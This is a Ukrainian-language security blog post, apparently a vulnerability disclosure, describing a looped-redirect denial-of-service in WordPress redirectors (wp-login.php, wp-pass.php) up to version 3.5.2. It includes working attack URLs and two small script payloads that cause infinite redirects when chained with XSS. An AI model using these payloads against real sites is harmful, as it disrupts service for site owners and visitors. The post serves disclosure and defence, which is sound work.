Denial of Service в WordPress
23:59 25.06.2013Торік я писав про XSS уразливості в WordPress, які мають місце в двох редиректорах. Про Redirector уразливості в цих скриптах WP я писав ще в 2007 році (та зробив патчі для них). Розробники виправили редиректори в WP 2.3, тому Redirector і XSS атаки можливі лише в попередніх версіях.
Як я вияснив 24.06.2013, через цей функціонал можна також провести DoS атаки. Тобто з двох редиректорів можна зробити Looped DoS уразливості, поєднавши сайт на WordPress з сервісом редирекції чи іншим сайтом. Дана атака аналогічна зацикленню двох редиректорів, описаному в моїх статтях Пекло редиректорів та Пекельний вогонь для редиректорів.
Раніше я вже писав про CS та XSS уразливості в SWFUpload в WordPress.
Denial of Service (WASC-10):
Потрібно зробити Custom alias на tinyurl.com чи іншому сервісі редирекції, що буде вести на wp-login.php чи wp-pass.php з вказаним аліасом для редирекції.
http://site/wp-login.php?action=logout&redirect_to=http://tinyurl.com/loopeddos1
http://site/wp-pass.php?_wp_http_referer=http://tinyurl.com/loopeddos2
Ось приклади даних уразливостей:
http://tinyurl.com/loopeddos1
http://tinyurl.com/loopeddos2
Дана атака спрацює для WordPress < 2.3. При цьому Mozilla, Firefox, Chrome та Opera після серії запитів зупиняють зациклений редирект, на відміну від IE.
Для того, щоб атака спрацювала у всіх версіях движка, включно з WP 3.5.2, потрібно щоб редиректор був на цьому ж домені, де і сайт на WP. Для цього можна використати будь-яку уразливість, наприклад, reflected XSS чи persistent XSS (на тому ж домені), для включення скрипта для редирекції на один з цих редиректорів:
WordPress_Looped_DoS.html
<script>document.location="http://site/wp-login.php?action=logout&redirect_to=http://site/WordPress_Looped_DoS.html"</script>
WordPress_Looped_DoS-2.html
<script>document.location="http://site/wp-pass.php"</script>
Атака працює як в WordPress 3.5.2 і попередніх версіях, так і не зупиняється браузерами (редирект нескінченний).